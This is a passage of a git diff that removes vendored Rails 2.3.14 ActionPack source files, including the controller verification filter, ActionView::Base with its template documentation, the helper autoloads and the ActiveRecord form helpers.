-      # is a hash consisting of the following key/value pairs:
-      #
-      # <tt>:params</tt>:: 
-      #   a single key or an array of keys that must be in the <tt>params</tt> 
-      #   hash in order for the action(s) to be safely called.
-      # <tt>:session</tt>:: 
-      #   a single key or an array of keys that must be in the <tt>session</tt> 
-      #   in order for the action(s) to be safely called.
-      # <tt>:flash</tt>:: 
-      #   a single key or an array of keys that must be in the flash in order 
-      #   for the action(s) to be safely called.
-      # <tt>:method</tt>:: 
-      #   a single key or an array of keys--any one of which must match the 
-      #   current request method in order for the action(s) to be safely called. 
-      #   (The key should be a symbol: <tt>:get</tt> or <tt>:post</tt>, for 
-      #   example.)
-      # <tt>:xhr</tt>:: 
-      #   true/false option to ensure that the request is coming from an Ajax 
-      #   call or not. 
-      # <tt>:add_flash</tt>:: 
-      #   a hash of name/value pairs that should be merged into the session's 
-      #   flash if the prerequisites cannot be satisfied.
-      # <tt>:add_headers</tt>:: 
-      #   a hash of name/value pairs that should be merged into the response's 
-      #   headers hash if the prerequisites cannot be satisfied.
-      # <tt>:redirect_to</tt>:: 
-      #   the redirection parameters to be used when redirecting if the 
-      #   prerequisites cannot be satisfied. You can redirect either to named 
-      #   route or to the action in some controller.
-      # <tt>:render</tt>:: 
-      #   the render parameters to be used when the prerequisites cannot be satisfied.
-      # <tt>:only</tt>:: 
-      #   only apply this verification to the actions specified in the associated 
-      #   array (may also be a single value).
-      # <tt>:except</tt>:: 
-      #   do not apply this verification to the actions specified in the associated 
-      #   array (may also be a single value).
-      def verify(options={})
-        before_filter :only => options[:only], :except => options[:except] do |c|
-          c.__send__ :verify_action, options
-        end
-      end
-    end
-
-  private
-
-    def verify_action(options) #:nodoc:
-      if prereqs_invalid?(options)
-        flash.update(options[:add_flash])              if options[:add_flash]
-        response.headers.merge!(options[:add_headers]) if options[:add_headers]
-        apply_remaining_actions(options)               unless performed?
-      end
-    end
-    
-    def prereqs_invalid?(options) # :nodoc:
-      verify_presence_of_keys_in_hash_flash_or_params(options) || 
-      verify_method(options) || 
-      verify_request_xhr_status(options)
-    end
- 
-    def verify_presence_of_keys_in_hash_flash_or_params(options) # :nodoc:
-      [*options[:params] ].find { |v| params[v].nil?  } ||
-      [*options[:session]].find { |v| session[v].nil? } ||
-      [*options[:flash]  ].find { |v| flash[v].nil?   }
-    end
-    
-    def verify_method(options) # :nodoc:
-      [*options[:method]].all? { |v| request.method != v.to_sym } if options[:method]
-    end
-    
-    def verify_request_xhr_status(options) # :nodoc:
-      request.xhr? != options[:xhr] unless options[:xhr].nil?
-    end
-    
-    def apply_redirect_to(redirect_to_option) # :nodoc:
-      (redirect_to_option.is_a?(Symbol) && redirect_to_option != :back) ? self.__send__(redirect_to_option) : redirect_to_option
-    end
-    
-    def apply_remaining_actions(options) # :nodoc:
-      case
-        when options[:render]      ; render(options[:render])
-        when options[:redirect_to] ; redirect_to(apply_redirect_to(options[:redirect_to]))
-        else head(:bad_request)
-      end
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/lib/action_pack.rb b/vendor/rails/actionpack/lib/action_pack.rb
deleted file mode 100644
index 1a149738..00000000
--- a/vendor/rails/actionpack/lib/action_pack.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-#--
-# Copyright (c) 2004-2010 David Heinemeier Hansson
-#
-# Permission is hereby granted, free of charge, to any person obtaining
-# a copy of this software and associated documentation files (the
-# "Software"), to deal in the Software without restriction, including
-# without limitation the rights to use, copy, modify, merge, publish,
-# distribute, sublicense, and/or sell copies of the Software, and to
-# permit persons to whom the Software is furnished to do so, subject to
-# the following conditions:
-#
-# The above copyright notice and this permission notice shall be
-# included in all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-#++
-
-require 'action_pack/version'
diff --git a/vendor/rails/actionpack/lib/action_pack/version.rb b/vendor/rails/actionpack/lib/action_pack/version.rb
deleted file mode 100644
index 330eecb1..00000000
--- a/vendor/rails/actionpack/lib/action_pack/version.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-module ActionPack #:nodoc:
-  module VERSION #:nodoc:
-    MAJOR = 2
-    MINOR = 3
-    TINY  = 14
-
-    STRING = [MAJOR, MINOR, TINY].join('.')
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view.rb b/vendor/rails/actionpack/lib/action_view.rb
deleted file mode 100644
index 9b7d0c45..00000000
--- a/vendor/rails/actionpack/lib/action_view.rb
+++ /dev/null
@@ -1,58 +0,0 @@
-#--
-# Copyright (c) 2004-2010 David Heinemeier Hansson
-#
-# Permission is hereby granted, free of charge, to any person obtaining
-# a copy of this software and associated documentation files (the
-# "Software"), to deal in the Software without restriction, including
-# without limitation the rights to use, copy, modify, merge, publish,
-# distribute, sublicense, and/or sell copies of the Software, and to
-# permit persons to whom the Software is furnished to do so, subject to
-# the following conditions:
-#
-# The above copyright notice and this permission notice shall be
-# included in all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-#++
-
-begin
-  require 'active_support'
-rescue LoadError
-  activesupport_path = "#{File.dirname(__FILE__)}/../../activesupport/lib"
-  if File.directory?(activesupport_path)
-    $:.unshift activesupport_path
-    require 'active_support'
-  end
-end
-
-module ActionView
-  def self.load_all!
-    [Base, InlineTemplate, TemplateError]
-  end
-
-  autoload :Base, 'action_view/base'
-  autoload :Helpers, 'action_view/helpers'
-  autoload :InlineTemplate, 'action_view/inline_template'
-  autoload :Partials, 'action_view/partials'
-  autoload :PathSet, 'action_view/paths'
-  autoload :Renderable, 'action_view/renderable'
-  autoload :RenderablePartial, 'action_view/renderable_partial'
-  autoload :Template, 'action_view/template'
-  autoload :ReloadableTemplate, 'action_view/reloadable_template'
-  autoload :TemplateError, 'action_view/template_error'
-  autoload :TemplateHandler, 'action_view/template_handler'
-  autoload :TemplateHandlers, 'action_view/template_handlers'
-  autoload :Helpers, 'action_view/helpers'
-end
-
-require 'active_support/core_ext/string/output_safety'
-
-ActionView::SafeBuffer = ActiveSupport::Deprecation::DeprecatedConstantProxy.new('ActionView::SafeBuffer', 'ActiveSupport::SafeBuffer')
-
-I18n.load_path << "#{File.dirname(__FILE__)}/action_view/locale/en.yml"
diff --git a/vendor/rails/actionpack/lib/action_view/base.rb b/vendor/rails/actionpack/lib/action_view/base.rb
deleted file mode 100644
index f10a2662..00000000
--- a/vendor/rails/actionpack/lib/action_view/base.rb
+++ /dev/null
@@ -1,362 +0,0 @@
-module ActionView #:nodoc:
-  class ActionViewError < StandardError #:nodoc:
-  end
-
-  class MissingTemplate < ActionViewError #:nodoc:
-    attr_reader :path
-
-    def initialize(paths, path, template_format = nil)
-      @path = path
-      full_template_path = path.include?('.') ? path : "#{path}.erb"
-      display_paths = paths.compact.join(":")
-      template_type = (path =~ /layouts/i) ? 'layout' : 'template'
-      super("Missing #{template_type} #{full_template_path} in view path #{display_paths}")
-    end
-  end
-
-  # Action View templates can be written in three ways. If the template file has a <tt>.erb</tt> (or <tt>.rhtml</tt>) extension then it uses a mixture of ERb
-  # (included in Ruby) and HTML. If the template file has a <tt>.builder</tt> (or <tt>.rxml</tt>) extension then Jim Weirich's Builder::XmlMarkup library is used.
-  # If the template file has a <tt>.rjs</tt> extension then it will use ActionView::Helpers::PrototypeHelper::JavaScriptGenerator.
-  #
-  # = ERb
-  #
-  # You trigger ERb by using embeddings such as <% %>, <% -%>, and <%= %>. The <%= %> tag set is used when you want output. Consider the
-  # following loop for names:
-  #
-  #   <b>Names of all the people</b>
-  #   <% for person in @people %>
-  #     Name: <%= person.name %><br/>
-  #   <% end %>
-  #
-  # The loop is setup in regular embedding tags <% %> and the name is written using the output embedding tag <%= %>. Note that this
-  # is not just a usage suggestion. Regular output functions like print or puts won't work with ERb templates. So this would be wrong:
-  #
-  #   Hi, Mr. <% puts "Frodo" %>
-  #
-  # If you absolutely must write from within a function, you can use the TextHelper#concat.
-  #
-  # <%- and -%> suppress leading and trailing whitespace, including the trailing newline, and can be used interchangeably with <% and %>.
-  #
-  # == Using sub templates
-  #
-  # Using sub templates allows you to sidestep tedious replication and extract common display structures in shared templates. The
-  # classic example is the use of a header and footer (even though the Action Pack-way would be to use Layouts):
-  #
-  #   <%= render "shared/header" %>
-  #   Something really specific and terrific
-  #   <%= render "shared/footer" %>
-  #
-  # As you see, we use the output embeddings for the render methods. The render call itself will just return a string holding the
-  # result of the rendering. The output embedding writes it to the current template.
-  #
-  # But you don't have to restrict yourself to static includes. Templates can share variables amongst themselves by using instance
-  # variables defined using the regular embedding tags. Like this:
-  #
-  #   <% @page_title = "A Wonderful Hello" %>
-  #   <%= render "shared/header" %>
-  #
-  # Now the header can pick up on the <tt>@page_title</tt> variable and use it for outputting a title tag:
-  #
-  #   <title><%= @page_title %></title>
-  #
-  # == Passing local variables to sub templates
-  #
-  # You can pass local variables to sub templates by using a hash with the variable names as keys and the objects as values:
-  #
-  #   <%= render "shared/header", { :headline => "Welcome", :person => person } %>
-  #
-  # These can now be accessed in <tt>shared/header</tt> with:
-  #
-  #   Headline: <%= headline %>
-  #   First name: <%= person.first_name %>
-  #
-  # If you need to find out whether a certain local variable has been assigned a value in a particular render call,
-  # you need to use the following pattern:
-  #
-  #   <% if local_assigns.has_key? :headline %>
-  #     Headline: <%= headline %>
-  #   <% end %>
-  #
-  # Testing using <tt>defined? headline</tt> will not work. This is an implementation restriction.
-  #
-  # == Template caching
-  #
-  # By default, Rails will compile each template to a method in order to render it. When you alter a template, Rails will
-  # check the file's modification time and recompile it.
-  #
-  # == Builder
-  #
-  # Builder templates are a more programmatic alternative to ERb. They are especially useful for generating XML content. An XmlMarkup object
-  # named +xml+ is automatically made available to templates with a <tt>.builder</tt> extension.
-  #
-  # Here are some basic examples:
-  #
-  #   xml.em("emphasized")                              # => <em>emphasized</em>
-  #   xml.em { xml.b("emph & bold") }                   # => <em><b>emph &amp; bold</b></em>
-  #   xml.a("A Link", "href"=>"http://onestepback.org") # => <a href="http://onestepback.org">A Link</a>
-  #   xml.target("name"=>"compile", "option"=>"fast")   # => <target option="fast" name="compile"\>
-  #                                                     # NOTE: order of attributes is not specified.
-  #
-  # Any method with a block will be treated as an XML markup tag with nested markup in the block. For example, the following:
-  #
-  #   xml.div {
-  #     xml.h1(@person.name)
-  #     xml.p(@person.bio)
-  #   }
-  #
-  # would produce something like:
-  #
-  #   <div>
-  #     <h1>David Heinemeier Hansson</h1>
-  #     <p>A product of Danish Design during the Winter of '79...</p>
-  #   </div>
-  #
-  # A full-length RSS example actually used on Basecamp:
-  #
-  #   xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do
-  #     xml.channel do
-  #       xml.title(@feed_title)
-  #       xml.link(@url)
-  #       xml.description "Basecamp: Recent items"
-  #       xml.language "en-us"
-  #       xml.ttl "40"
-  #
-  #       for item in @recent_items
-  #         xml.item do
-  #           xml.title(item_title(item))
-  #           xml.description(item_description(item)) if item_description(item)
-  #           xml.pubDate(item_pubDate(item))
-  #           xml.guid(@person.firm.account.url + @recent_items.url(item))
-  #           xml.link(@person.firm.account.url + @recent_items.url(item))
-  #
-  #           xml.tag!("dc:creator", item.author_name) if item_has_creator?(item)
-  #         end
-  #       end
-  #     end
-  #   end
-  #
-  # More builder documentation can be found at http://builder.rubyforge.org.
-  #
-  # == JavaScriptGenerator
-  #
-  # JavaScriptGenerator templates end in <tt>.rjs</tt>. Unlike conventional templates which are used to
-  # render the results of an action, these templates generate instructions on how to modify an already rendered page. This makes it easy to
-  # modify multiple elements on your page in one declarative Ajax response. Actions with these templates are called in the background with Ajax
-  # and make updates to the page where the request originated from.
-  #
-  # An instance of the JavaScriptGenerator object named +page+ is automatically made available to your template, which is implicitly wrapped in an ActionView::Helpers::PrototypeHelper#update_page block.
-  #
-  # When an <tt>.rjs</tt> action is called with +link_to_remote+, the generated JavaScript is automatically evaluated.  Example:
-  #
-  #   link_to_remote :url => {:action => 'delete'}
-  #
-  # The subsequently rendered <tt>delete.rjs</tt> might look like:
-  #
-  #   page.replace_html  'sidebar', :partial => 'sidebar'
-  #   page.remove        "person-#{@person.id}"
-  #   page.visual_effect :highlight, 'user-list'
-  #
-  # This refreshes the sidebar, removes a person element and highlights the user list.
-  #
-  # See the ActionView::Helpers::PrototypeHelper::GeneratorMethods documentation for more details.
-  class Base
-    include Helpers, Partials, ::ERB::Util
-    extend ActiveSupport::Memoizable
-
-    attr_accessor :base_path, :assigns, :template_extension
-    attr_accessor :controller
-
-    attr_writer :template_format
-
-    attr_accessor :output_buffer
-
-    class << self
-      delegate :erb_trim_mode=, :to => 'ActionView::TemplateHandlers::ERB'
-      delegate :logger, :to => 'ActionController::Base'
-    end
-
-    @@debug_rjs = false
-    ##
-    # :singleton-method:
-    # Specify whether RJS responses should be wrapped in a try/catch block
-    # that alert()s the caught exception (and then re-raises it).
-    cattr_accessor :debug_rjs
-
-    # Specify whether templates should be cached. Otherwise the file we be read everytime it is accessed.
-    # Automatically reloading templates are not thread safe and should only be used in development mode.
-    @@cache_template_loading = nil
-    cattr_accessor :cache_template_loading
-
-    # :nodoc:
-    def self.xss_safe?
-      false
-    end
-
-    def self.cache_template_loading?
-      ActionController::Base.allow_concurrency || (cache_template_loading.nil? ? !ActiveSupport::Dependencies.load? : cache_template_loading)
-    end
-
-    attr_internal :request
-
-    delegate :request_forgery_protection_token, :params, :session, :cookies, :response, :headers,
-             :flash, :logger, :action_name, :controller_name, :to => :controller
-
-    module CompiledTemplates #:nodoc:
-      # holds compiled template code
-    end
-    include CompiledTemplates
-
-    def self.process_view_paths(value)
-      ActionView::PathSet.new(Array(value))
-    end
-
-    attr_reader :helpers
-
-    class ProxyModule < Module
-      def initialize(receiver)
-        @receiver = receiver
-      end
-
-      def include(*args)
-        super(*args)
-        @receiver.extend(*args)
-      end
-    end
-
-    def initialize(view_paths = [], assigns_for_first_render = {}, controller = nil)#:nodoc:
-      @assigns = assigns_for_first_render
-      @assigns_added = nil
-      @controller = controller
-      @helpers = ProxyModule.new(self)
-      self.view_paths = view_paths
-
-      @_first_render = nil
-      @_current_render = nil
-    end
-
-    attr_reader :view_paths
-
-    def view_paths=(paths)
-      @view_paths = self.class.process_view_paths(paths)
-      # we might be using ReloadableTemplates, so we need to let them know this a new request
-      @view_paths.load!
-    end
-
-    # Returns the result of a render that's dictated by the options hash. The primary options are:
-    #
-    # * <tt>:partial</tt> - See ActionView::Partials.
-    # * <tt>:update</tt> - Calls update_page with the block given.
-    # * <tt>:file</tt> - Renders an explicit template file (this used to be the old default), add :locals to pass in those.
-    # * <tt>:inline</tt> - Renders an inline template similar to how it's done in the controller.
-    # * <tt>:text</tt> - Renders the text passed in out.
-    #
-    # If no options hash is passed or :update specified, the default is to render a partial and use the second parameter
-    # as the locals hash.
-    def render(options = {}, local_assigns = {}, &block) #:nodoc:
-      local_assigns ||= {}
-
-      case options
-      when Hash
-        options = options.reverse_merge(:locals => {})
-        if options[:layout]
-          _render_with_layout(options, local_assigns, &block)
-        elsif options[:file]
-          template = self.view_paths.find_template(options[:file], template_format)
-          template.render_template(self, options[:locals])
-        elsif options[:partial]
-          render_partial(options)
-        elsif options[:inline]
-          InlineTemplate.new(options[:inline], options[:type]).render(self, options[:locals])
-        elsif options[:text]
-          options[:text]
-        end
-      when :update
-        update_page(&block)
-      else
-        render_partial(:partial => options, :locals => local_assigns)
-      end
-    end
-
-    # The format to be used when choosing between multiple templates with
-    # the same name but differing formats.  See +Request#template_format+
-    # for more details.
-    def template_format
-      if defined? @template_format
-        @template_format
-      elsif controller && controller.respond_to?(:request)
-        @template_format = controller.request.template_format.to_sym
-      else
-        @template_format = :html
-      end
-    end
-
-    # Access the current template being rendered.
-    # Returns a ActionView::Template object.
-    def template
-      @_current_render
-    end
-
-    def template=(template) #:nodoc:
-      @_first_render ||= template
-      @_current_render = template
-    end
-
-    def with_template(current_template)
-      last_template, self.template = template, current_template
-      yield
-    ensure
-      self.template = last_template
-    end
-
-    private
-      # Evaluates the local assigns and controller ivars, pushes them to the view.
-      def _evaluate_assigns_and_ivars #:nodoc:
-        unless @assigns_added
-          @assigns.each { |key, value| instance_variable_set("@#{key}", value) }
-          _copy_ivars_from_controller
-          @assigns_added = true
-        end
-      end
-
-      def _copy_ivars_from_controller #:nodoc:
-        if @controller
-          variables = @controller.instance_variable_names
-          variables -= @controller.protected_instance_variables if @controller.respond_to?(:protected_instance_variables)
-          variables.each { |name| instance_variable_set(name, @controller.instance_variable_get(name)) }
-        end
-      end
-
-      def _set_controller_content_type(content_type) #:nodoc:
-        if controller.respond_to?(:response)
-          controller.response.content_type ||= content_type
-        end
-      end
-
-      def _render_with_layout(options, local_assigns, &block) #:nodoc:
-        partial_layout = options.delete(:layout)
-
-        if block_given?
-          begin
-            @_proc_for_layout = block
-            concat(render(options.merge(:partial => partial_layout)))
-          ensure
-            @_proc_for_layout = nil
-          end
-        else
-          begin
-            original_content_for_layout = @content_for_layout if defined?(@content_for_layout)
-            @content_for_layout = render(options)
-
-            if (options[:inline] || options[:file] || options[:text])
-              @cached_content_for_layout = @content_for_layout
-              render(:file => partial_layout, :locals => local_assigns)
-            else
-              render(options.merge(:partial => partial_layout))
-            end
-          ensure
-            @content_for_layout = original_content_for_layout
-          end
-        end
-      end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/helpers.rb b/vendor/rails/actionpack/lib/action_view/helpers.rb
deleted file mode 100644
index debd2e75..00000000
--- a/vendor/rails/actionpack/lib/action_view/helpers.rb
+++ /dev/null
@@ -1,61 +0,0 @@
-module ActionView #:nodoc:
-  module Helpers #:nodoc:
-    autoload :ActiveRecordHelper, 'action_view/helpers/active_record_helper'
-    autoload :AssetTagHelper, 'action_view/helpers/asset_tag_helper'
-    autoload :AtomFeedHelper, 'action_view/helpers/atom_feed_helper'
-    autoload :BenchmarkHelper, 'action_view/helpers/benchmark_helper'
-    autoload :CacheHelper, 'action_view/helpers/cache_helper'
-    autoload :CaptureHelper, 'action_view/helpers/capture_helper'
-    autoload :CsrfHelper, 'action_view/helpers/csrf_helper'
-    autoload :DateHelper, 'action_view/helpers/date_helper'
-    autoload :DebugHelper, 'action_view/helpers/debug_helper'
-    autoload :FormHelper, 'action_view/helpers/form_helper'
-    autoload :FormOptionsHelper, 'action_view/helpers/form_options_helper'
-    autoload :FormTagHelper, 'action_view/helpers/form_tag_helper'
-    autoload :JavaScriptHelper, 'action_view/helpers/javascript_helper'
-    autoload :NumberHelper, 'action_view/helpers/number_helper'
-    autoload :PrototypeHelper, 'action_view/helpers/prototype_helper'
-    autoload :RawOutputHelper, 'action_view/helpers/raw_output_helper'
-    autoload :RecordIdentificationHelper, 'action_view/helpers/record_identification_helper'
-    autoload :RecordTagHelper, 'action_view/helpers/record_tag_helper'
-    autoload :SanitizeHelper, 'action_view/helpers/sanitize_helper'
-    autoload :ScriptaculousHelper, 'action_view/helpers/scriptaculous_helper'
-    autoload :TagHelper, 'action_view/helpers/tag_helper'
-    autoload :TextHelper, 'action_view/helpers/text_helper'
-    autoload :TranslationHelper, 'action_view/helpers/translation_helper'
-    autoload :UrlHelper, 'action_view/helpers/url_helper'
-
-    def self.included(base)
-      base.extend(ClassMethods)
-    end
-
-    module ClassMethods
-      include SanitizeHelper::ClassMethods
-    end
-
-    include ActiveRecordHelper
-    include AssetTagHelper
-    include AtomFeedHelper
-    include BenchmarkHelper
-    include CacheHelper
-    include CaptureHelper
-    include CsrfHelper
-    include DateHelper
-    include DebugHelper
-    include FormHelper
-    include FormOptionsHelper
-    include FormTagHelper
-    include JavaScriptHelper
-    include NumberHelper
-    include PrototypeHelper
-    include RawOutputHelper
-    include RecordIdentificationHelper
-    include RecordTagHelper
-    include SanitizeHelper
-    include ScriptaculousHelper
-    include TagHelper
-    include TextHelper
-    include TranslationHelper
-    include UrlHelper
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/active_record_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/active_record_helper.rb
deleted file mode 100644
index ed407c9d..00000000
--- a/vendor/rails/actionpack/lib/action_view/helpers/active_record_helper.rb
+++ /dev/null
@@ -1,305 +0,0 @@
-require 'cgi'
-require 'action_view/helpers/form_helper'
-
-module ActionView
-  class Base
-    @@field_error_proc = Proc.new{ |html_tag, instance| "<div class=\"fieldWithErrors\">#{html_tag}</div>".html_safe }
-    cattr_accessor :field_error_proc
-  end
-
-  module Helpers
-    # The Active Record Helper makes it easier to create forms for records kept in instance variables. The most far-reaching is the +form+
-    # method that creates a complete form for all the basic content types of the record (not associations or aggregations, though). This
-    # is a great way of making the record quickly available for editing, but likely to prove lackluster for a complicated real-world form.
-    # In that case, it's better to use the +input+ method and the specialized +form+ methods in link:classes/ActionView/Helpers/FormHelper.html
-    module ActiveRecordHelper
-      # Returns a default input tag for the type of object returned by the method. For example, if <tt>@post</tt>
-      # has an attribute +title+ mapped to a +VARCHAR+ column that holds "Hello World":
-      #
-      #   input("post", "title")
-      #   # => <input id="post_title" name="post[title]" size="30" type="text" value="Hello World" />
-      def input(record_name, method, options = {})
-        InstanceTag.new(record_name, method, self).to_tag(options)
-      end
-
-      # Returns an entire form with all needed input tags for a specified Active Record object. For example, if <tt>@post</tt>
-      # has attributes named +title+ of type +VARCHAR+ and +body+ of type +TEXT+ then
-      #
-      #   form("post")
-      #
-      # would yield a form like the following (modulus formatting):
-      #
-      #   <form action='/posts/create' method='post'>
-      #     <p>
-      #       <label for="post_title">Title</label><br />
-      #       <input id="post_title" name="post[title]" size="30" type="text" value="Hello World" />
-      #     </p>
-      #     <p>
-      #       <label for="post_body">Body</label><br />
-      #       <textarea cols="40" id="post_body" name="post[body]" rows="20"></textarea>
-      #     </p>
-      #     <input name="commit" type="submit" value="Create" />
-      #   </form>
-      #
-      # It's possible to specialize the form builder by using a different action name and by supplying another
-      # block renderer. For example, if <tt>@entry</tt> has an attribute +message+ of type +VARCHAR+ then
-      #
-      #   form("entry",
-      #     :action => "sign",
-      #     :input_block => Proc.new { |record, column|
-      #       "#{column.human_name}: #{input(record, column.name)}<br />"
-      #   })
-      #
-      # would yield a form like the following (modulus formatting):
-      #
-      #   <form action="/entries/sign" method="post">
-      #     Message:
-      #     <input id="entry_message" name="entry[message]" size="30" type="text" /><br />
-      #     <input name="commit" type="submit" value="Sign" />
-      #   </form>
-      #
-      # It's also possible to add additional content to the form by giving it a block, such as:
-      #
-      #   form("entry", :action => "sign") do |form|
-      #     form << content_tag("b", "Department")
-      #     form << collection_select("department", "id", @departments, "id", "name")
-      #   end
-      #
-      # The following options are available:
-      #
-      # * <tt>:action</tt> - The action used when submitting the form (default: +create+ if a new record, otherwise +update+).
-      # * <tt>:input_block</tt> - Specialize the output using a different block, see above.
-      # * <tt>:method</tt> - The method used when submitting the form (default: +post+).
-      # * <tt>:multipart</tt> - Whether to change the enctype of the form to "multipart/form-data", used when uploading a file (default: +false+).
-      # * <tt>:submit_value</tt> - The text of the submit button (default: "Create" if a new record, otherwise "Update").
-      def form(record_name, options = {})
-        record = instance_variable_get("@#{record_name}")
-
-        options = options.symbolize_keys
-        options[:action] ||= record.new_record? ? "create" : "update"
-        action = url_for(:action => options[:action], :id => record)
-
-        submit_value = options[:submit_value] || options[:action].gsub(/[^\w]/, '').capitalize
-
-        contents = form_tag({:action => action}, :method =>(options[:method] || 'post'), :enctype => options[:multipart] ? 'multipart/form-data': nil)
-        contents.safe_concat hidden_field(record_name, :id) unless record.new_record?
-        contents.safe_concat all_input_tags(record, record_name, options)
-        yield contents if block_given?
-        contents.safe_concat submit_tag(submit_value)
-        contents.safe_concat '</form>'
-      end
-
-      # Returns a string containing the error message attached to the +method+ on the +object+ if one exists.
-      # This error message is wrapped in a <tt>DIV</tt> tag, which can be extended to include a <tt>:prepend_text</tt>
-      # and/or <tt>:append_text</tt> (to properly explain the error), and a <tt>:css_class</tt> to style it
-      # accordingly. +object+ should either be the name of an instance variable or the actual object. The method can be
-      # passed in either as a string or a symbol.
-      # As an example, let's say you have a model <tt>@post</tt> that has an error message on the +title+ attribute:
-      #
-      #   <%= error_message_on "post", "title" %>
-      #   # => <div class="formError">can't be empty</div>
-      #
-      #   <%= error_message_on @post, :title %>
-      #   # => <div class="formError">can't be empty</div>
-      #
-      #   <%= error_message_on "post", "title",
-      #       :prepend_text => "Title simply ",
-      #       :append_text => " (or it won't work).",
-      #       :css_class => "inputError" %>
-      def error_message_on(object, method, *args)
-        options = args.extract_options!
-        unless args.empty?
-          ActiveSupport::Deprecation.warn('error_message_on takes an option hash instead of separate ' +
-            'prepend_text, append_text, and css_class arguments', caller)
-
-          options[:prepend_text] = args[0] || ''
-          options[:append_text] = args[1] || ''
-          options[:css_class] = args[2] || 'formError'
-        end
-        options.reverse_merge!(:prepend_text => '', :append_text => '', :css_class => 'formError')
-
-        if (obj = (object.respond_to?(:errors) ? object : instance_variable_get("@#{object}"))) &&
-          (errors = obj.errors.on(method))
-          content_tag("div",
-            "#{options[:prepend_text]}#{ERB::Util.html_escape(errors.is_a?(Array) ? errors.first : errors)}#{options[:append_text]}".html_safe,
-            :class => options[:css_class]
-          )
-        else
-          ''
-        end
-      end
-
-      # Returns a string with a <tt>DIV</tt> containing all of the error messages for the objects located as instance variables by the names
-      # given.  If more than one object is specified, the errors for the objects are displayed in the order that the object names are
-      # provided.
-      #
-      # This <tt>DIV</tt> can be tailored by the following options:
-      #
-      # * <tt>:header_tag</tt> - Used for the header of the error div (default: "h2").
-      # * <tt>:id</tt> - The id of the error div (default: "errorExplanation").
-      # * <tt>:class</tt> - The class of the error div (default: "errorExplanation").
-      # * <tt>:object</tt> - The object (or array of objects) for which to display errors,
-      #   if you need to escape the instance variable convention.
-      # * <tt>:object_name</tt> - The object name to use in the header, or any text that you prefer.
-      #   If <tt>:object_name</tt> is not set, the name of the first object will be used.
-      # * <tt>:header_message</tt> - The message in the header of the error div.  Pass +nil+
-      #   or an empty string to avoid the header message altogether. (Default: "X errors
-      #   prohibited this object from being saved").
-      # * <tt>:message</tt> - The explanation message after the header message and before
-      #   the error list.  Pass +nil+ or an empty string to avoid the explanation message
-      #   altogether. (Default: "There were problems with the following fields:").
-      #
-      # To specify the display for one object, you simply provide its name as a parameter.
-      # For example, for the <tt>@user</tt> model:
-      #
-      #   error_messages_for 'user'
-      #
-      # To specify more than one object, you simply list them; optionally, you can add an extra <tt>:object_name</tt> parameter, which
-      # will be the name used in the header message:
-      #
-      #   error_messages_for 'user_common', 'user', :object_name => 'user'
-      #
-      # If the objects cannot be located as instance variables, you can add an extra <tt>:object</tt> parameter which gives the actual
-      # object (or array of objects to use):
-      #
-      #   error_messages_for 'user', :object => @question.user
-      #
-      # NOTE: This is a pre-packaged presentation of the errors with embedded strings and a certain HTML structure. If what
-      # you need is significantly different from the default presentation, it makes plenty of sense to access the <tt>object.errors</tt>
-      # instance yourself and set it up. View the source of this method to see how easy it is.
-      def error_messages_for(*params)
-        options = params.extract_options!.symbolize_keys
-
-        if object = options.delete(:object)
-          objects = Array.wrap(object)
-        else
-          objects = params.collect {|object_name| instance_variable_get("@#{object_name}") }.compact
-        end
-
-        count  = objects.inject(0) {|sum, object| sum + object.errors.count }
-        unless count.zero?
-          html = {}
-          [:id, :class].each do |key|
-            if options.include?(key)
-              value = options[key]
-              html[key] = value unless value.blank?
-            else
-              html[key] = 'errorExplanation'
-            end
-          end
-          options[:object_name] ||= params.first
-
-          I18n.with_options :locale => options[:locale], :scope => [:activerecord, :errors, :template] do |locale|
-            header_message = if options.include?(:header_message)
-              options[:header_message]
-            else
-              object_name = options[:object_name].to_s
-              object_name = I18n.t(object_name, :default => object_name.gsub('_', ' '), :scope => [:activerecord, :models], :count => 1)
-              locale.t :header, :count => count, :model => object_name
-            end
-            message = options.include?(:message) ? options[:message] : locale.t(:body)
-            error_messages = objects.sum {|object| object.errors.full_messages.map {|msg| content_tag(:li, ERB::Util.html_escape(msg)) } }.join.html_safe
-
-            contents = ''
-            contents << content_tag(options[:header_tag] || :h2, header_message) unless header_message.blank?
-            contents << content_tag(:p, message) unless message.blank?
-            contents << content_tag(:ul, error_messages)
-
-            content_tag(:div, contents.html_safe, html)
-          end
-        else
-          ''
-        end
-      end
-
-      private
-        def all_input_tags(record, record_name, options)
-          input_block = options[:input_block] || default_input_block
-          record.class.content_columns.collect{ |column| input_block.call(record_name, column) }.join("\n")
-        end
-
-        def default_input_block
-          Proc.new { |record, column| %(<p><label for="#{record}_#{column.name}">#{column.human_name}</label><br />#{input(record, column.name)}</p>) }
-        end
-    end
-
